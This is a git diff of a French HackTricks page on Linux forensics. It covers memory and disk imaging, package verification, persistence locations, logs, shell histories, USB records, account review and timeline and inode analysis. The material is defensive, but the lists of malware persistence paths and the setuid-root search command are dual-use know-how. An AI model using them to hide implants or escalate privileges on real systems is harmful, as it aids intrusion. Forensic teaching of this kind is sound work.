* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -85,7 +85,7 @@ LiME peut également être utilisé pour **envoyer le vidage via le réseau** au
|
||||||
#### Arrêt
|
#### Arrêt
|
||||||
|
|
||||||
Tout d'abord, vous devrez **arrêter le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'arrêter.\
|
Tout d'abord, vous devrez **arrêter le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'arrêter.\
|
||||||
Il existe **2 façons** d'arrêter le système, un **arrêt normal** et un **arrêt "débrancher la prise"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également à un éventuel **logiciel malveillant** de **détruire des preuves**. L'approche "débrancher la prise" peut entraîner **une perte d'informations** (pas beaucoup d'informations seront perdues car nous avons déjà pris une image de la mémoire) et le **logiciel malveillant n'aura aucune opportunité** d'y remédier. Par conséquent, si vous **soupçonnez** la présence d'un **logiciel malveillant**, exécutez simplement la commande **`sync`** sur le système et débranchez la prise.
|
Il existe **2 façons** d'arrêter le système, un **arrêt normal** et un **arrêt "débrancher la prise"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également aux éventuels **logiciels malveillants** de **détruire des preuves**. L'approche "débrancher la prise" peut entraîner **une certaine perte d'informations** (pas beaucoup d'informations seront perdues car nous avons déjà pris une image de la mémoire) et le **logiciel malveillant n'aura aucune opportunité** d'y remédier. Par conséquent, si vous **soupçonnez** la présence d'un **logiciel malveillant**, exécutez simplement la commande **`sync`** sur le système et débranchez la prise.
|
||||||
|
|
||||||
#### Prendre une image du disque
|
#### Prendre une image du disque
|
||||||
|
|
||||||
|
@ -153,7 +153,7 @@ r/r 16: secret.txt
|
||||||
icat -i raw -f ext4 disk.img 16
|
icat -i raw -f ext4 disk.img 16
|
||||||
ThisisTheMasterSecret
|
ThisisTheMasterSecret
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -167,8 +167,8 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
Linux propose des outils pour garantir l'intégrité des composants système, essentiels pour repérer les fichiers potentiellement problématiques.
|
Linux propose des outils pour garantir l'intégrité des composants système, essentiels pour repérer les fichiers potentiellement problématiques.
|
||||||
|
|
||||||
- **Systèmes basés sur RedHat** : Utilisez `rpm -Va` pour une vérification complète.
|
* **Systèmes basés sur RedHat** : Utilisez `rpm -Va` pour une vérification complète.
|
||||||
- **Systèmes basés sur Debian** : `dpkg --verify` pour une vérification initiale, suivi de `debsums | grep -v "OK$"` (après avoir installé `debsums` avec `apt-get install debsums`) pour identifier d'éventuels problèmes.
|
* **Systèmes basés sur Debian** : `dpkg --verify` pour une vérification initiale, suivi de `debsums | grep -v "OK$"` (après avoir installé `debsums` avec `apt-get install debsums`) pour identifier d'éventuels problèmes.
|
||||||
|
|
||||||
### Détecteurs de logiciels malveillants/rootkits
|
### Détecteurs de logiciels malveillants/rootkits
|
||||||
|
|
||||||
|
@ -182,11 +182,10 @@ Consultez la page suivante pour découvrir des outils utiles pour trouver des lo
|
||||||
|
|
||||||
Pour rechercher efficacement des programmes installés sur les systèmes Debian et RedHat, envisagez d'utiliser les journaux système et les bases de données en plus des vérifications manuelles dans les répertoires courants.
|
Pour rechercher efficacement des programmes installés sur les systèmes Debian et RedHat, envisagez d'utiliser les journaux système et les bases de données en plus des vérifications manuelles dans les répertoires courants.
|
||||||
|
|
||||||
- Pour Debian, inspectez **_`/var/lib/dpkg/status`_** et **_`/var/log/dpkg.log`_** pour obtenir des détails sur les installations de packages, en utilisant `grep` pour filtrer des informations spécifiques.
|
* Pour Debian, inspectez _**`/var/lib/dpkg/status`**_ et _**`/var/log/dpkg.log`**_ pour obtenir des détails sur les installations de packages, en utilisant `grep` pour filtrer des informations spécifiques.
|
||||||
|
* Les utilisateurs de RedHat peuvent interroger la base de données RPM avec `rpm -qa --root=/mntpath/var/lib/rpm` pour lister les packages installés.
|
||||||
|
|
||||||
- Les utilisateurs de RedHat peuvent interroger la base de données RPM avec `rpm -qa --root=/mntpath/var/lib/rpm` pour lister les packages installés.
|
Pour découvrir les logiciels installés manuellement ou en dehors de ces gestionnaires de packages, explorez des répertoires tels que _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, et _**`/sbin`**_. Combiner les listes de répertoires avec des commandes spécifiques au système pour identifier les exécutables non associés à des packages connus, améliorant ainsi votre recherche de tous les programmes installés.
|
||||||
|
|
||||||
Pour découvrir les logiciels installés manuellement ou en dehors de ces gestionnaires de packages, explorez des répertoires tels que **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, et **_`/sbin`_**. Combiner les listes de répertoires avec des commandes spécifiques au système pour identifier les exécutables non associés à des packages connus, améliorant ainsi votre recherche de tous les programmes installés.
|
|
||||||
```bash
|
```bash
|
||||||
# Debian package and log details
|
# Debian package and log details
|
||||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||||
|
@ -202,11 +201,11 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||||
# Find exacuable files
|
# Find exacuable files
|
||||||
find / -type f -executable | grep <something>
|
find / -type f -executable | grep <something>
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez-y aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -238,52 +237,51 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
||||||
|
|
||||||
Chemins où un logiciel malveillant pourrait être installé en tant que service :
|
Chemins où un logiciel malveillant pourrait être installé en tant que service :
|
||||||
|
|
||||||
- **/etc/inittab** : Appelle des scripts d'initialisation comme rc.sysinit, redirigeant ensuite vers des scripts de démarrage.
|
* **/etc/inittab** : Appelle des scripts d'initialisation comme rc.sysinit, redirigeant ensuite vers des scripts de démarrage.
|
||||||
- **/etc/rc.d/** et **/etc/rc.boot/** : Contiennent des scripts pour le démarrage des services, ce dernier étant trouvé dans les anciennes versions de Linux.
|
* **/etc/rc.d/** et **/etc/rc.boot/** : Contiennent des scripts pour le démarrage des services, ce dernier étant trouvé dans les anciennes versions de Linux.
|
||||||
- **/etc/init.d/** : Utilisé dans certaines versions de Linux comme Debian pour stocker des scripts de démarrage.
|
* **/etc/init.d/** : Utilisé dans certaines versions de Linux comme Debian pour stocker des scripts de démarrage.
|
||||||
- Les services peuvent également être activés via **/etc/inetd.conf** ou **/etc/xinetd/**, selon la variante de Linux.
|
* Les services peuvent également être activés via **/etc/inetd.conf** ou **/etc/xinetd/**, selon la variante de Linux.
|
||||||
- **/etc/systemd/system** : Un répertoire pour les scripts du système et du gestionnaire de services.
|
* **/etc/systemd/system** : Un répertoire pour les scripts du système et du gestionnaire de services.
|
||||||
- **/etc/systemd/system/multi-user.target.wants/** : Contient des liens vers des services qui doivent être démarrés dans un niveau d'exécution multi-utilisateurs.
|
* **/etc/systemd/system/multi-user.target.wants/** : Contient des liens vers des services qui doivent être démarrés dans un niveau d'exécution multi-utilisateurs.
|
||||||
- **/usr/local/etc/rc.d/** : Pour des services personnalisés ou tiers.
|
* **/usr/local/etc/rc.d/** : Pour des services personnalisés ou tiers.
|
||||||
- **~/.config/autostart/** : Pour des applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit de dissimulation pour les logiciels malveillants ciblant les utilisateurs.
|
* **\~/.config/autostart/** : Pour des applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit de dissimulation pour les logiciels malveillants ciblant les utilisateurs.
|
||||||
- **/lib/systemd/system/** : Fichiers d'unités par défaut à l'échelle du système fournis par les packages installés.
|
* **/lib/systemd/system/** : Fichiers d'unités par défaut à l'échelle du système fournis par les packages installés.
|
||||||
|
|
||||||
|
|
||||||
### Modules du Noyau
|
### Modules du Noyau
|
||||||
|
|
||||||
Les modules du noyau Linux, souvent utilisés par les logiciels malveillants comme composants de rootkit, sont chargés au démarrage du système. Les répertoires et fichiers critiques pour ces modules incluent :
|
Les modules du noyau Linux, souvent utilisés par les logiciels malveillants comme composants de rootkit, sont chargés au démarrage du système. Les répertoires et fichiers critiques pour ces modules incluent :
|
||||||
|
|
||||||
- **/lib/modules/$(uname -r)** : Contient les modules pour la version du noyau en cours d'exécution.
|
* **/lib/modules/$(uname -r)** : Contient des modules pour la version du noyau en cours d'exécution.
|
||||||
- **/etc/modprobe.d** : Contient des fichiers de configuration pour contrôler le chargement des modules.
|
* **/etc/modprobe.d** : Contient des fichiers de configuration pour contrôler le chargement des modules.
|
||||||
- **/etc/modprobe** et **/etc/modprobe.conf** : Fichiers pour les paramètres globaux des modules.
|
* **/etc/modprobe** et **/etc/modprobe.conf** : Fichiers pour les paramètres globaux des modules.
|
||||||
|
|
||||||
### Autres Emplacements de Démarrage Automatique
|
### Autres Emplacements de Démarrage Automatique
|
||||||
|
|
||||||
Linux utilise divers fichiers pour exécuter automatiquement des programmes lors de la connexion de l'utilisateur, pouvant potentiellement héberger des logiciels malveillants :
|
Linux utilise divers fichiers pour exécuter automatiquement des programmes lors de la connexion de l'utilisateur, pouvant potentiellement héberger des logiciels malveillants :
|
||||||
|
|
||||||
- **/etc/profile.d/***, **/etc/profile** et **/etc/bash.bashrc** : Exécuté pour toute connexion d'utilisateur.
|
* **/etc/profile.d/**\*, **/etc/profile**, et **/etc/bash.bashrc** : Exécuté pour toute connexion d'utilisateur.
|
||||||
- **~/.bashrc**, **~/.bash_profile**, **~/.profile** et **~/.config/autostart** : Fichiers spécifiques à l'utilisateur qui s'exécutent lors de leur connexion.
|
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, et **\~/.config/autostart** : Fichiers spécifiques à l'utilisateur qui s'exécutent lors de leur connexion.
|
||||||
- **/etc/rc.local** : S'exécute après le démarrage de tous les services système, marquant la fin de la transition vers un environnement multi-utilisateurs.
|
* **/etc/rc.local** : S'exécute après le démarrage de tous les services système, marquant la fin de la transition vers un environnement multi-utilisateurs.
|
||||||
|
|
||||||
## Examiner les Journaux
|
## Examiner les Journaux
|
||||||
|
|
||||||
Les systèmes Linux suivent les activités des utilisateurs et les événements système à travers divers fichiers journaux. Ces journaux sont essentiels pour identifier les accès non autorisés, les infections par des logiciels malveillants et d'autres incidents de sécurité. Les principaux fichiers journaux incluent :
|
Les systèmes Linux suivent les activités des utilisateurs et les événements système à travers divers fichiers journaux. Ces journaux sont essentiels pour identifier les accès non autorisés, les infections par des logiciels malveillants et autres incidents de sécurité. Les principaux fichiers journaux incluent :
|
||||||
|
|
||||||
- **/var/log/syslog** (Debian) ou **/var/log/messages** (RedHat) : Capture les messages et activités système à l'échelle du système.
|
* **/var/log/syslog** (Debian) ou **/var/log/messages** (RedHat) : Capture les messages et activités à l'échelle du système.
|
||||||
- **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat) : Enregistre les tentatives d'authentification, les connexions réussies et échouées.
|
* **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat) : Enregistre les tentatives d'authentification, les connexions réussies et échouées.
|
||||||
- Utilisez `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` pour filtrer les événements d'authentification pertinents.
|
* Utilisez `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` pour filtrer les événements d'authentification pertinents.
|
||||||
- **/var/log/boot.log** : Contient les messages de démarrage du système.
|
* **/var/log/boot.log** : Contient les messages de démarrage du système.
|
||||||
- **/var/log/maillog** ou **/var/log/mail.log** : Enregistre les activités du serveur de messagerie, utile pour suivre les services liés aux e-mails.
|
* **/var/log/maillog** ou **/var/log/mail.log** : Enregistre les activités du serveur de messagerie, utile pour suivre les services liés aux e-mails.
|
||||||
- **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et les avertissements.
|
* **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et les avertissements.
|
||||||
- **/var/log/dmesg** : Contient les messages des pilotes de périphériques.
|
* **/var/log/dmesg** : Contient les messages des pilotes de périphériques.
|
||||||
- **/var/log/faillog** : Enregistre les tentatives de connexion échouées, aidant dans les enquêtes sur les violations de sécurité.
|
* **/var/log/faillog** : Enregistre les tentatives de connexion échouées, aidant dans les enquêtes sur les violations de sécurité.
|
||||||
- **/var/log/cron** : Enregistre les exécutions de tâches cron.
|
* **/var/log/cron** : Enregistre les exécutions des tâches cron.
|
||||||
- **/var/log/daemon.log** : Trace les activités des services en arrière-plan.
|
* **/var/log/daemon.log** : Trace les activités des services en arrière-plan.
|
||||||
- **/var/log/btmp** : Documente les tentatives de connexion échouées.
|
* **/var/log/btmp** : Documente les tentatives de connexion échouées.
|
||||||
- **/var/log/httpd/** : Contient les journaux d'erreurs et d'accès d'Apache HTTPD.
|
* **/var/log/httpd/** : Contient les journaux d'erreurs et d'accès d'Apache HTTPD.
|
||||||
- **/var/log/mysqld.log** ou **/var/log/mysql.log** : Enregistre les activités de la base de données MySQL.
|
* **/var/log/mysqld.log** ou **/var/log/mysql.log** : Enregistre les activités de la base de données MySQL.
|
||||||
- **/var/log/xferlog** : Enregistre les transferts de fichiers FTP.
|
* **/var/log/xferlog** : Enregistre les transferts de fichiers FTP.
|
||||||
- **/var/log/** : Vérifiez toujours les journaux inattendus ici.
|
* **/var/log/** : Vérifiez toujours les journaux inattendus ici.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Les journaux système Linux et les sous-systèmes d'audit peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de logiciel malveillant. Parce que les journaux sur les systèmes Linux contiennent généralement certaines des informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées désordonnées qui pourraient indiquer une suppression ou une altération.
|
Les journaux système Linux et les sous-systèmes d'audit peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de logiciel malveillant. Parce que les journaux sur les systèmes Linux contiennent généralement certaines des informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées désordonnées qui pourraient indiquer une suppression ou une altération.
|
||||||
|
@ -291,32 +289,32 @@ Les journaux système Linux et les sous-systèmes d'audit peuvent être désacti
|
||||||
|
|
||||||
**Linux conserve un historique des commandes pour chaque utilisateur**, stocké dans :
|
**Linux conserve un historique des commandes pour chaque utilisateur**, stocké dans :
|
||||||
|
|
||||||
- ~/.bash_history
|
* \~/.bash\_history
|
||||||
- ~/.zsh_history
|
* \~/.zsh\_history
|
||||||
- ~/.zsh_sessions/*
|
* \~/.zsh\_sessions/\*
|
||||||
- ~/.python_history
|
* \~/.python\_history
|
||||||
- ~/.*_history
|
* \~/.\*\_history
|
||||||
|
|
||||||
De plus, la commande `last -Faiwx` fournit une liste des connexions des utilisateurs. Vérifiez-la pour des connexions inconnues ou inattendues.
|
De plus, la commande `last -Faiwx` fournit une liste des connexions des utilisateurs. Vérifiez-la pour des connexions inconnues ou inattendues.
|
||||||
|
|
||||||
Vérifiez les fichiers qui peuvent accorder des privilèges supplémentaires :
|
Vérifiez les fichiers qui peuvent accorder des privilèges supplémentaires :
|
||||||
|
|
||||||
- Examinez `/etc/sudoers` pour des privilèges d'utilisateur inattendus qui ont pu être accordés.
|
* Examinez `/etc/sudoers` pour des privilèges d'utilisateur inattendus qui ont pu être accordés.
|
||||||
- Examinez `/etc/sudoers.d/` pour des privilèges d'utilisateur inattendus qui ont pu être accordés.
|
* Examinez `/etc/sudoers.d/` pour des privilèges d'utilisateur inattendus qui ont pu être accordés.
|
||||||
- Examinez `/etc/groups` pour identifier des adhésions ou des autorisations de groupe inhabituelles.
|
* Examinez `/etc/groups` pour identifier des adhésions ou des autorisations de groupe inhabituelles.
|
||||||
- Examinez `/etc/passwd` pour identifier des adhésions ou des autorisations de groupe inhabituelles.
|
* Examinez `/etc/passwd` pour identifier des adhésions ou des autorisations de groupe inhabituelles.
|
||||||
|
|
||||||
Certaines applications génèrent également leurs propres journaux :
|
Certaines applications génèrent également leurs propres journaux :
|
||||||
|
|
||||||
- **SSH** : Examinez _~/.ssh/authorized_keys_ et _~/.ssh/known_hosts_ pour des connexions distantes non autorisées.
|
* **SSH** : Examinez _\~/.ssh/authorized\_keys_ et _\~/.ssh/known\_hosts_ pour des connexions distantes non autorisées.
|
||||||
- **Bureau Gnome** : Consultez _~/.recently-used.xbel_ pour les fichiers récemment consultés via les applications Gnome.
|
* **Bureau Gnome** : Consultez _\~/.recently-used.xbel_ pour les fichiers récemment consultés via les applications Gnome.
|
||||||
- **Firefox/Chrome** : Vérifiez l'historique du navigateur et les téléchargements dans _~/.mozilla/firefox_ ou _~/.config/google-chrome_ pour des activités suspectes.
|
* **Firefox/Chrome** : Vérifiez l'historique du navigateur et les téléchargements dans _\~/.mozilla/firefox_ ou _\~/.config/google-chrome_ pour des activités suspectes.
|
||||||
- **VIM** : Consultez _~/.viminfo_ pour des détails d'utilisation, tels que les chemins d'accès aux fichiers consultés et l'historique des recherches.
|
* **VIM** : Consultez _\~/.viminfo_ pour des détails d'utilisation, tels que les chemins d'accès aux fichiers consultés et l'historique des recherches.
|
||||||
- **Open Office** : Vérifiez les accès récents aux documents qui peuvent indiquer des fichiers compromis.
|
* **Open Office** : Vérifiez les accès récents aux documents qui peuvent indiquer des fichiers compromis.
|
||||||
- **FTP/SFTP** : Consultez les journaux dans _~/.ftp_history_ ou _~/.sftp_history_ pour les transferts de fichiers qui pourraient être non autorisés.
|
* **FTP/SFTP** : Consultez les journaux dans _\~/.ftp\_history_ ou _\~/.sftp\_history_ pour les transferts de fichiers qui pourraient être non autorisés.
|
||||||
- **MySQL** : Enquêtez sur _~/.mysql_history_ pour les requêtes MySQL exécutées, révélant potentiellement des activités de base de données non autorisées.
|
* **MySQL** : Enquêtez sur _\~/.mysql\_history_ pour les requêtes MySQL exécutées, révélant potentiellement des activités de base de données non autorisées.
|
||||||
- **Less** : Analysez _~/.lesshst_ pour l'historique d'utilisation, y compris les fichiers consultés et les commandes exécutées.
|
* **Less** : Analysez _\~/.lesshst_ pour l'historique d'utilisation, y compris les fichiers consultés et les commandes exécutées.
|
||||||
- **Git** : Examinez _~/.gitconfig_ et le projet _.git/logs_ pour les modifications apportées aux dépôts.
|
* **Git** : Examinez _\~/.gitconfig_ et le projet _.git/logs_ pour les modifications apportées aux dépôts.
|
||||||
|
|
||||||
### Journaux USB
|
### Journaux USB
|
||||||
|
|
||||||
|
@ -339,9 +337,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||||
```
|
```
|
||||||
Plus d'exemples et d'informations sur le github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
Plus d'exemples et d'informations sur le github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -349,9 +345,7 @@ Accédez dès aujourd'hui:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Examiner les comptes utilisateur et les activités de connexion
|
||||||
|
|
||||||
## Examiner les comptes d'utilisateur et les activités de connexion
|
|
||||||
|
|
||||||
Examinez les fichiers _**/etc/passwd**_, _**/etc/shadow**_ et les **logs de sécurité** à la recherche de noms ou de comptes inhabituels créés et/ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques de force brute sudo.\
|
Examinez les fichiers _**/etc/passwd**_, _**/etc/shadow**_ et les **logs de sécurité** à la recherche de noms ou de comptes inhabituels créés et/ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques de force brute sudo.\
|
||||||
De plus, vérifiez des fichiers comme _**/etc/sudoers**_ et _**/etc/groups**_ pour des privilèges inattendus accordés aux utilisateurs.\
|
De plus, vérifiez des fichiers comme _**/etc/sudoers**_ et _**/etc/groups**_ pour des privilèges inattendus accordés aux utilisateurs.\
|
||||||
|
@ -361,27 +355,25 @@ Enfin, recherchez des comptes sans **mot de passe** ou avec des mots de passe **
|
||||||
|
|
||||||
### Analyse des structures du système de fichiers dans les enquêtes sur les logiciels malveillants
|
### Analyse des structures du système de fichiers dans les enquêtes sur les logiciels malveillants
|
||||||
|
|
||||||
Lors de l'investigation d'incidents de logiciels malveillants, la structure du système de fichiers est une source d'information cruciale, révélant à la fois la séquence des événements et le contenu du logiciel malveillant. Cependant, les auteurs de logiciels malveillants développent des techniques pour entraver cette analyse, telles que la modification des horodatages des fichiers ou l'évitement du système de fichiers pour le stockage des données.
|
Lors d'enquêtes sur des incidents de logiciels malveillants, la structure du système de fichiers est une source d'information cruciale, révélant à la fois la séquence des événements et le contenu du logiciel malveillant. Cependant, les auteurs de logiciels malveillants développent des techniques pour entraver cette analyse, telles que la modification des horodatages des fichiers ou l'évitement du système de fichiers pour le stockage des données.
|
||||||
|
|
||||||
Pour contrer ces méthodes anti-forensiques, il est essentiel de:
|
Pour contrer ces méthodes anti-forensiques, il est essentiel de:
|
||||||
|
|
||||||
- **Effectuer une analyse minutieuse de la chronologie** en utilisant des outils comme **Autopsy** pour visualiser les chronologies des événements ou `mactime` de **Sleuth Kit** pour des données chronologiques détaillées.
|
* **Effectuer une analyse minutieuse de la chronologie** en utilisant des outils comme **Autopsy** pour visualiser les chronologies d'événements ou `mactime` de **Sleuth Kit** pour des données chronologiques détaillées.
|
||||||
- **Enquêter sur des scripts inattendus** dans le $PATH du système, qui pourraient inclure des scripts shell ou PHP utilisés par des attaquants.
|
* **Enquêter sur des scripts inattendus** dans le $PATH du système, qui pourraient inclure des scripts shell ou PHP utilisés par des attaquants.
|
||||||
- **Examiner `/dev` pour des fichiers atypiques**, car il contient traditionnellement des fichiers spéciaux, mais peut contenir des fichiers liés aux logiciels malveillants.
|
* **Examiner `/dev` pour des fichiers atypiques**, car il contient traditionnellement des fichiers spéciaux, mais peut contenir des fichiers liés aux logiciels malveillants.
|
||||||
- **Rechercher des fichiers ou répertoires cachés** avec des noms comme ".. " (point point espace) ou "..^G" (point point contrôle-G), qui pourraient dissimuler un contenu malveillant.
|
* **Rechercher des fichiers ou répertoires cachés** avec des noms comme ".. " (point point espace) ou "..^G" (point point contrôle-G), qui pourraient dissimuler un contenu malveillant.
|
||||||
- **Identifier les fichiers setuid root** en utilisant la commande:
|
* **Identifier les fichiers setuid root** en utilisant la commande: `find / -user root -perm -04000 -print` Cela permet de trouver des fichiers avec des permissions élevées, qui pourraient être exploités par des attaquants.
|
||||||
```find / -user root -perm -04000 -print```
|
* **Vérifier les horodatages de suppression** dans les tables d'inodes pour repérer des suppressions massives de fichiers, indiquant éventuellement la présence de rootkits ou de chevaux de Troie.
|
||||||
Cela permet de trouver des fichiers avec des permissions élevées, qui pourraient être exploités par des attaquants.
|
* **Inspecter les inodes consécutifs** pour repérer des fichiers malveillants à proximité après en avoir identifié un, car ils peuvent avoir été placés ensemble.
|
||||||
- **Vérifier les horodatages de suppression** dans les tables d'inodes pour repérer des suppressions massives de fichiers, indiquant éventuellement la présence de rootkits ou de chevaux de Troie.
|
* **Vérifier les répertoires binaires courants** (_/bin_, _/sbin_) pour des fichiers récemment modifiés, car ils pourraient avoir été altérés par des logiciels malveillants.
|
||||||
- **Inspecter les inodes consécutifs** pour repérer des fichiers malveillants à proximité après en avoir identifié un, car ils peuvent avoir été placés ensemble.
|
````bash
|
||||||
- **Vérifier les répertoires binaires courants** (_/bin_, _/sbin_) pour des fichiers récemment modifiés, car ils pourraient avoir été altérés par des logiciels malveillants.
|
|
||||||
```bash
|
|
||||||
# List recent files in a directory:
|
# List recent files in a directory:
|
||||||
ls -laR --sort=time /bin```
|
ls -laR --sort=time /bin```
|
||||||
|
|
||||||
# Sort files in a directory by inode:
|
# Sort files in a directory by inode:
|
||||||
ls -lai /bin | sort -n```
|
ls -lai /bin | sort -n```
|
||||||
```
|
````
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire **apparaître** les **fichiers comme légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers du même dossier, mais que l'**inode** est **plus grand que prévu**, alors les **horodatages de ce fichier ont été modifiés**.
|
Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire **apparaître** les **fichiers comme légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers du même dossier, mais que l'**inode** est **plus grand que prévu**, alors les **horodatages de ce fichier ont été modifiés**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -392,54 +384,54 @@ Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire **apparaître
|
||||||
|
|
||||||
Pour comparer les versions du système de fichiers et repérer les changements, nous utilisons des commandes `git diff` simplifiées :
|
Pour comparer les versions du système de fichiers et repérer les changements, nous utilisons des commandes `git diff` simplifiées :
|
||||||
|
|
||||||
- **Pour trouver de nouveaux fichiers**, comparez deux répertoires :
|
* **Pour trouver de nouveaux fichiers**, comparez deux répertoires :
|
||||||
```bash
|
```bash
|
||||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||||
```
|
```
|
||||||
- **Pour le contenu modifié**, répertoriez les modifications en ignorant les lignes spécifiques :
|
